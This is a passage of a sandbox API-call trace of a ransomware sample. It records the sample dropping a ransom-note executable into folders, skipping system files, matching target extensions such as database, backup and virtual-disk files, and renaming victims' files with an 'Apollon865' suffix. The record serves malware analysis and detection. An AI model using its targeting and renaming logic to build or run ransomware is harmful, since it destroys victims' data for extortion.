	[0076.359] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr"
	[0076.359] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.359] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.373] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4597de90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4597de90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.374] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.374] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.374] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.374] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4597de90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4597de90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.374] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.374] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.374] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.374] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.374] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4597de90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4597de90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.374] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.374] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".") returned 1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="..") returned 1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="windows") returned -1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="bootmgr") returned 1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="temp") returned -1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="pagefile.sys") returned -1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="boot") returned 1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="ids.txt") returned 1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="ntuser.dat") returned -1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="perflogs") returned -1
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="MSBuild") returned 1
	[0076.374] lstrlenW (lpString="MSCDM.DLL") returned 9
	[0076.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*") returned 64
	[0076.374] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="MSCDM.DLL" | out: lpString1="MSCDM.DLL") returned="MSCDM.DLL"
	[0076.374] lstrlenW (lpString="MSCDM.DLL") returned 9
	[0076.374] lstrlenW (lpString="Apollon865") returned 10
	[0076.374] lstrlenW (lpString=".dll") returned 4
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".dll") returned 1
	[0076.374] lstrlenW (lpString=".lnk") returned 4
	[0076.374] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".lnk") returned 1
	[0076.375] lstrlenW (lpString=".ini") returned 4
	[0076.375] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".ini") returned 1
	[0076.375] lstrlenW (lpString=".sys") returned 4
	[0076.375] lstrcmpiW (lpString1="MSCDM.DLL", lpString2=".sys") returned 1
	[0076.375] lstrlenW (lpString="MSCDM.DLL") returned 9
	[0076.375] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink"
	[0076.375] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe38 | out: hHeap=0x580000) returned 1
	[0076.375] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0076.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned 50
	[0076.375] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink"
	[0076.375] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.375] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.379] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4597de90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4597de90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.379] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.379] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.379] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.379] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4597de90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4597de90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.379] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.379] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.379] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.379] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.379] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1
	[0076.379] lstrcmpiW (lpString1="Alphabet.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.379] lstrcmpiW (lpString1="Alphabet.xml", lpString2="Apollon865.txt.exe") returned -1
	[0076.379] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".") returned 1
	[0076.379] lstrcmpiW (lpString1="Alphabet.xml", lpString2="..") returned 1
	[0076.379] lstrcmpiW (lpString1="Alphabet.xml", lpString2="windows") returned -1
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2="bootmgr") returned -1
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2="temp") returned -1
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2="pagefile.sys") returned -1
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2="boot") returned -1
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2="ids.txt") returned -1
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2="ntuser.dat") returned -1
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2="perflogs") returned -1
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2="MSBuild") returned -1
	[0076.380] lstrlenW (lpString="Alphabet.xml") returned 12
	[0076.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*") returned 52
	[0076.380] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Alphabet.xml" | out: lpString1="Alphabet.xml") returned="Alphabet.xml"
	[0076.380] lstrlenW (lpString="Alphabet.xml") returned 12
	[0076.380] lstrlenW (lpString="Apollon865") returned 10
	[0076.380] lstrcmpiW (lpString1="phabet.xml", lpString2="Apollon865") returned 1
	[0076.380] lstrlenW (lpString=".dll") returned 4
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".dll") returned 1
	[0076.380] lstrlenW (lpString=".lnk") returned 4
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".lnk") returned 1
	[0076.380] lstrlenW (lpString=".ini") returned 4
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".ini") returned 1
	[0076.380] lstrlenW (lpString=".sys") returned 4
	[0076.380] lstrcmpiW (lpString1="Alphabet.xml", lpString2=".sys") returned 1
	[0076.380] lstrlenW (lpString="Alphabet.xml") returned 12
	[0076.380] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.Apollon865") returned 74
	[0076.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.381] GetLastError () returned 0x5
	[0076.381] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml MoveFileEx error 5\r\n") returned 92
	[0076.381] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml MoveFileEx error 5\r\n") returned 92
	[0076.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.382] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0e
	[0076.382] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5c, lpOverlapped=0x0) returned 1
	[0076.382] CloseHandle (hObject=0x15c) returned 1
	[0076.382] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.382] CloseHandle (hObject=0x0) returned 0
	[0076.382] CloseHandle (hObject=0x0) returned 0
	[0076.382] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1
	[0076.382] lstrcmpiW (lpString1="ar-SA", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.382] lstrcmpiW (lpString1="ar-SA", lpString2="Apollon865.txt.exe") returned 1
	[0076.382] lstrcmpiW (lpString1="ar-SA", lpString2=".") returned 1
	[0076.382] lstrcmpiW (lpString1="ar-SA", lpString2="..") returned 1
	[0076.382] lstrcmpiW (lpString1="ar-SA", lpString2="windows") returned -1
	[0076.383] lstrcmpiW (lpString1="ar-SA", lpString2="bootmgr") returned -1
	[0076.383] lstrcmpiW (lpString1="ar-SA", lpString2="temp") returned -1
	[0076.383] lstrcmpiW (lpString1="ar-SA", lpString2="pagefile.sys") returned -1
	[0076.383] lstrcmpiW (lpString1="ar-SA", lpString2="boot") returned -1
	[0076.383] lstrcmpiW (lpString1="ar-SA", lpString2="ids.txt") returned -1
	[0076.383] lstrcmpiW (lpString1="ar-SA", lpString2="ntuser.dat") returned -1
	[0076.383] lstrcmpiW (lpString1="ar-SA", lpString2="perflogs") returned -1
	[0076.383] lstrcmpiW (lpString1="ar-SA", lpString2="MSBuild") returned -1
	[0076.383] lstrlenW (lpString="ar-SA") returned 5
	[0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0076.383] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ar-SA" | out: lpString1="ar-SA") returned="ar-SA"
	[0076.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0076.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0076.383] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0076.383] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="Apollon865.txt.exe") returned 1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2=".") returned 1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="..") returned 1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="windows") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="bootmgr") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="temp") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="pagefile.sys") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="boot") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="ids.txt") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="ntuser.dat") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="perflogs") returned -1
	[0076.383] lstrcmpiW (lpString1="bg-BG", lpString2="MSBuild") returned -1
	[0076.383] lstrlenW (lpString="bg-BG") returned 5
	[0076.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA") returned 56
	[0076.383] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="bg-BG" | out: lpString1="bg-BG") returned="bg-BG"
	[0076.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0076.383] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591440
	[0076.383] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7b70
	[0076.383] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0076.383] lstrcmpiW (lpString1="Content.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2=".") returned 1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="..") returned 1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="windows") returned -1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="bootmgr") returned 1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="temp") returned -1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="pagefile.sys") returned -1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="boot") returned 1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="ids.txt") returned -1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="ntuser.dat") returned -1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="perflogs") returned -1
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2="MSBuild") returned -1
	[0076.384] lstrlenW (lpString="Content.xml") returned 11
	[0076.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG") returned 56
	[0076.384] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Content.xml" | out: lpString1="Content.xml") returned="Content.xml"
	[0076.384] lstrlenW (lpString="Content.xml") returned 11
	[0076.384] lstrlenW (lpString="Apollon865") returned 10
	[0076.384] lstrcmpiW (lpString1="ontent.xml", lpString2="Apollon865") returned 1
	[0076.384] lstrlenW (lpString=".dll") returned 4
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2=".dll") returned 1
	[0076.384] lstrlenW (lpString=".lnk") returned 4
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2=".lnk") returned 1
	[0076.384] lstrlenW (lpString=".ini") returned 4
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2=".ini") returned 1
	[0076.384] lstrlenW (lpString=".sys") returned 4
	[0076.384] lstrcmpiW (lpString1="Content.xml", lpString2=".sys") returned 1
	[0076.384] lstrlenW (lpString="Content.xml") returned 11
	[0076.384] lstrlenW (lpString="bak") returned 3
	[0076.384] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.384] lstrlenW (lpString="ba_") returned 3
	[0076.384] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.384] lstrlenW (lpString="dbb") returned 3
	[0076.384] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.384] lstrlenW (lpString="vmdk") returned 4
	[0076.384] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.384] lstrlenW (lpString="rar") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.385] lstrlenW (lpString="zip") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.385] lstrlenW (lpString="tgz") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.385] lstrlenW (lpString="vbox") returned 4
	[0076.385] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.385] lstrlenW (lpString="vdi") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.385] lstrlenW (lpString="vhd") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.385] lstrlenW (lpString="vhdx") returned 4
	[0076.385] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.385] lstrlenW (lpString="avhd") returned 4
	[0076.385] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.385] lstrlenW (lpString="db") returned 2
	[0076.385] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.385] lstrlenW (lpString="db2") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.385] lstrlenW (lpString="db3") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.385] lstrlenW (lpString="dbf") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.385] lstrlenW (lpString="mdf") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.385] lstrlenW (lpString="mdb") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.385] lstrlenW (lpString="sql") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.385] lstrlenW (lpString="sqlite") returned 6
	[0076.385] lstrcmpiW (lpString1="nt.xml", lpString2="sqlite") returned -1
	[0076.385] lstrlenW (lpString="sqlite3") returned 7
	[0076.385] lstrcmpiW (lpString1="ent.xml", lpString2="sqlite3") returned -1
	[0076.385] lstrlenW (lpString="sqlitedb") returned 8
	[0076.385] lstrcmpiW (lpString1="tent.xml", lpString2="sqlitedb") returned 1
	[0076.385] lstrlenW (lpString="xml") returned 3
	[0076.385] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.386] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.Apollon865") returned 73
	[0076.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.386] GetLastError () returned 0x5
	[0076.386] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml MoveFileEx error 5\r\n") returned 91
	[0076.386] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml MoveFileEx error 5\r\n") returned 91
	[0076.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.386] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6a
	[0076.386] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5b, lpOverlapped=0x0) returned 1
	[0076.386] CloseHandle (hObject=0x15c) returned 1
	[0076.386] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.386] CloseHandle (hObject=0x0) returned 0
	[0076.386] CloseHandle (hObject=0x0) returned 0
	[0076.387] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="Apollon865.txt.exe") returned 1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".") returned 1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="..") returned 1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="windows") returned -1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="bootmgr") returned 1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="temp") returned -1
